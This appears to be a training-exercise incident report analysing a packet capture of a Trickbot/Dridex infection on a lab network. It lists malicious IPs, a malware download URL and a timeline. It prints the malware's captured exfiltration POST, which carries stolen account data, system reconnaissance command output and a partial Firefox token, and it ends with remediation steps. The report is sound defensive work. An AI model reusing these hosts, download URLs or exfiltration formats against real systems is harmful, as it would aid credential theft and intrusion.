Malware Traffic Analysis

mondogreek

Zane Hoffman

2020-04-01

Contents

1 mondogreek

1.1 Mission Scope

- LAN Segment Range: 10.3.11.0/24
- Domain: mondogreek.com
- Domain Controller: 10.3.11.3 - Mondogreek-DC
- LAN Segment Gateway: 10.3.11.1
- LAN Segment Broadcast: 10.3.11.255

1.2 Infected Host

user: otis.witherspoon

- 10.3.11.194 LAPTOP-7XMV2SN.mondogreek.com

1.3 Malicious IPs

- 50.87.248.17
- 203.176.135.102 (server recieving information about client network as well as stealing user credentials)
- 51.254.164.244
- 45.148.120.153
- 185.141.27.238
- 64.44.133.131

1.4 Mission Task

Write an incident report based on the pcap and the associated alerts.

2 High Level Report

At 21:24:36 March 11 2020 host 10.3.11.194 (LAPTOP-7XMV2SN.mondogreek.com) downloaded a trojan identified in alert as (dridex/trickbot) from http://bolton-tech.com/

After the malware is on the infected host, 3 ssl connections are made to IP addresses:

- 185.141.27.238
- 45.148.120.153
- 51.254.164.244

After these connections are made the host computer makes a connection to IP 64.44.133.131 and downloads “imgpaper.png”

Reviewing this file header it is found to be a DOS MZ executable meaning that it is another potential risk to client network

A second image is downloaded from 64.44.133.131 at which point the infected host begins sending data via POST over HTTP to 203.176.135.102

The data sent includes the infected host’s user account information for facebook.com to include username and password

Another POST request is made to the server at 203.176.135.102 sending more user account information of otis.witherspoon

System process information as well as system information and network / domain infrastructure is then sent using the same POST method used previously

2.1 Timeline

- 2020-03-11 21:24:36 Otis Witherspoon made connection from LAPTOP-7XMV2SN.mondogreek.com and downloaded YAS20.exe (trojan)
- 2020-03-11 21:36:43 Infected host makes connection to 64.44.133.131 downloads imgpaper.png (flagged as shellcode in alert)

- 2020-03-11 21:36:53 Infected host begins exfiltrating user data and network / domain infrastructe information
- 2020-03-11 21:36:57 Infected host makes second connection to 64.44.133.131 and downloads cursor.png (flagged as second stage download in alerts)

2.2 Alerts

- 2020-03-11 21:24:36 10.3.11.194:49727 -> 50.87.248.17:80 [trojan download]
- 2020-03-11 21:24:36 ET Trojan possible malicious macro DL EXE Feb 2016 (WinHTTPRequest)
- 2020-03-11 21:24:36 ET Policy binary downloaded smaller than 1 MB Likely hostile
- 2020-03-11 21:24:36 ET Current_Events winHTTPRequest downloading exe
- 2020-03-11 21:29:56 10.3.11.194 -> 185.141.27.238:443
- 2020-03-11 21:29:58 10.3.11.194 -> 45.148.120.153:443
- 2020-03-11 21:29:59 10.3.11.194 -> 51.254.164.244:443

2.3 Indicators of Compromise

wireshark filter used:

- http.request && ip.src == 10.3.11.194 && ip.dst == 50.87.248.17

YAS20.exe downloaded from http://bolton-tech.com/YAS20.exe

imgpaper.png downloaded from 64.44.133.131

- PE32 executable (GUI) Intel 80386, for MS Windows

cursor.png downloaded from 64.44.133.131

- PE32 executable (GUI) Intel 80386, for MS Windows

2.4 Compromised Data

User account info:

```
https://www.facebook.com/|otis.witherspoon@mondogreek.com|<PASSWORD REDACTED>
```

User account info:

```
chrome://FirefoxAccounts|956c8e2735994b08818238bba84c469b|{"version":1,"accountData":{"keyFetchToken":"848fb22
https://accounts.firefox.com|otis.witherspoon@mondogreek.com|<PASSWORD REDACTED>
No passwords found
-----------XWQEFTQLCLTQBJQE

Content-Disposition: form-data; name="source"
firefox passwords
-----------XWQEFTQLCLTQBJQE--
```

System Information:

```
POST /yas20/LAPTOP-7XMV2SN_W10018363.CF3A0EAB425F1927835EF064A69CAED6/90 HTTP/1.1
Content-Type: multipart/form-data; boundary=aksgja8s8d8a8s97
User-Agent: KSKJJGJ
Host: 203.176.135.102:8082
Content-Length: 5366
Cache-Control: no-cache

--aksgja8s8d8a8s97
Content-Disposition: form-data; name="proclist"

        ***TASK LIST***

[System Process]
System
Registry
smss.exe
csrss.exe
wininit.exe
csrss.exe
winlogon.exe
services.exe
lsass.exe
svchost.exe
svchost.exe
fontdrvhost.exe
fontdrvhost.exe
svchost.exe
svchost.exe
dwm.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
```

```
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
Memory Compression
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
spoolsv.exe
svchost.exe
svchost.exe
armsvc.exe
OfficeClickToRun.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
MsMpEng.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
NisSrv.exe
dllhost.exe
sihost.exe
svchost.exe
svchost.exe
taskhostw.exe
svchost.exe
svchost.exe
ctfmon.exe
svchost.exe
```

```
explorer.exe
svchost.exe
StartMenuExperienceHost.exe
RuntimeBroker.exe
SearchUI.exe
SearchIndexer.exe
RuntimeBroker.exe
YourPhone.exe
RuntimeBroker.exe
SecurityHealthSystray.exe
SecurityHealthService.exe
ApplicationFrameHost.exe
WinStore.App.exe
RuntimeBroker.exe
svchost.exe
SgrmBroker.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
SecurityHealthHost.exe
svchost.exe
VMMM;;;;.....................exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
smartscreen.exe
TrustedInstaller.exe
TiWorker.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
backgroundTaskHost.exe
svchost.exe
WmiPrvSE.exe
svchost.exe
svchost.exe


--aksgja8s8d8a8s97
Content-Disposition: form-data; name="sysinfo"

        ***S Y S T E M I N F O***

HostName: LAPTOP-7XMV2SN
OSName: Microsoft Windows 10 Pro
OSVersion: (null)
```

```
OSArchitecture: 64-bit
ProductType: Workstation
BuildType: Multiprocessor Free
RegisteredOwner: admin
RegisteredOrg:
SerialNumber: 00331-20451-92735-AA441
InstallDate: 30/12/1899 00.00.00
LastBootUpTime: 30/12/1899 00.00.00
WindowsDirectory: C:\Windows
SystemDirectory: C:\Windows\system32
BootDevice: \Device\HarddiskVolume2

TotalPhysicalMemory: 6493 Mb
AvailablePhysicalMemory: 6493 Mb


        /c ipconfig /all

Windows IP Configuration

   Host Name . . . . . . . . . . . . : LAPTOP-7XMV2SN
   Primary Dns Suffix  . . . . . . . : mondogreek.com
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No
   DNS Suffix Search List. . . . . . : mondogreek.com

Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . : mondogreek.com
   Description . . . . . . . . . . . : Intel(R) 82574L Gigabit Network Connection
   Physical Address. . . . . . . . . : B8-CA-3A-EC-3B-8F
   DHCP Enabled. . . . . . . . . . . : Yes
   Autoconfiguration Enabled . . . . : Yes
   IPv4 Address. . . . . . . . . . . : 10.3.11.194(Preferred)
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Lease Obtained. . . . . . . . . . : Wednesday, March 11, 2020 9:23:00 PM
   Lease Expires . . . . . . . . . . : Thursday, March 12, 2020 9:23:00 PM
   Default Gateway . . . . . . . . . : 10.3.11.1
   DHCP Server . . . . . . . . . . . : 10.3.11.3
   DNS Servers . . . . . . . . . . . : 10.3.11.3
   NetBIOS over Tcpip. . . . . . . . : Enabled


        /c net config workstation
Computer name                        \\LAPTOP-7XMV2SN
Full Computer name                   LAPTOP-7XMV2SN.mondogreek.com
User name                            otis.witherspoon

Workstation active on
    NetBT_Tcpip_{423045E9-8CB6-2003-C98B-6F2A4FE6088A} (0016170C29DB)

Software version                     Windows 10 Pro
```

```
Workstation domain                    MONDOGREEK
Workstation Domain DNS Name           mondogreek.com
Logon domain                          MONDOGREEK

COM Open Timeout (sec)                0
COM Send Count (byte)                 16
COM Send Timeout (msec)               250
The command completed successfully.



        /c net view /all
System error 6118 has occurred.

The list of servers for this workgroup is not currently available



        /c net view /all /domain
System error 6118 has occurred.

The list of servers for this workgroup is not currently available



        /c nltest /domain_trusts
List of domain trusts:
    0: MONDOGREEK mondogreek.com (NT 5) (Forest Tree Root) (Primary Domain) (Native)
The command completed successfully


        /c nltest /domain_trusts /all_trusts
List of domain trusts:
    0: MONDOGREEK mondogreek.com (NT 5) (Forest Tree Root) (Primary Domain) (Native)
The command completed successfully


        ***LOCAL MACHINE DATA***

User name: CN=Otis Witherspoon,CN=Users,DC=mondogreek,DC=com
Computer name: CN=LAPTOP-7XMV2SN,CN=Computers,DC=mondogreek,DC=com
Site name: Default-First-Site-Name
Domain shortname: MONDOGREEK
Domain name: mondogreek.com
Forest name: mondogreek.com
Domain controller: Mondogreek-DC.mondogreek.com
Forest trees:
    1 mondogreek.com


Mondogreek-DC.mondogreek.com
Admin Name: Administrator
```

```
Admin Name: Administrator
Admin Name: Administrator


--aksgja8s8d8a8s97--

HTTP/1.1 200 OK
server: Cowboy
date: Wed, 11 Mar 2020 21:37:00 GMT
content-length: 3
Content-Type: text/plain

/1/
```

3 Recommendations

Block traffic to and from IP all malicious IPs listed above as well as any connections destined to http://bolton-tech.com

Have otis witherspoon redo his annual cyber awareness challenge as well as change account passwords and setup 2 factor authentication

Malwarebytes antimalware will detect trickbot trojan on hosts on the network and remove traces of the malware

Recommend running malwarebytes on all hosts on network, as well as having network administrators investigate schedualed tasks that may have been created by the malware

4 TrickBot Trojan

The endpoint user will not notice any symptoms of a Trickbot infection. However, a network admin will likely see changes in traffic or attempts to reach out to blacklisted IPs and domains, as the malware will communicate with Trickbot's command and control infrastructure to exfiltrate data and receive tasks.

Trojan.TrickBot gains persistence by creating a Scheduled Task.

Trojan.TrickBot focuses on stealing banking information.

TrickBot typically spreads via malicious spam campaigns. It can also spread laterally using the Eternal-Blue exploit (MS17-010).

Due to the way Trickbot uses the EternalBlue vulnerability to spread through a company's network, any infected machine on the network will re-infect machines that have been previously cleaned when they rejoin the network. Therefore, IT teams need to isolate, patch, and remediate each infected system one-by-one. This can be a long and painstaking process.

5 Sources

5.1 Identifying Hosts and Users Using Wireshark

https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/

filter: kerberos.CNameString

- kerberos -> as-req -> req-body -> cname -> cname-string -> rightclick apply as column

5.2 Trickbot trojan

https://blog.malwarebytes.com/detections/trojan-trickbot/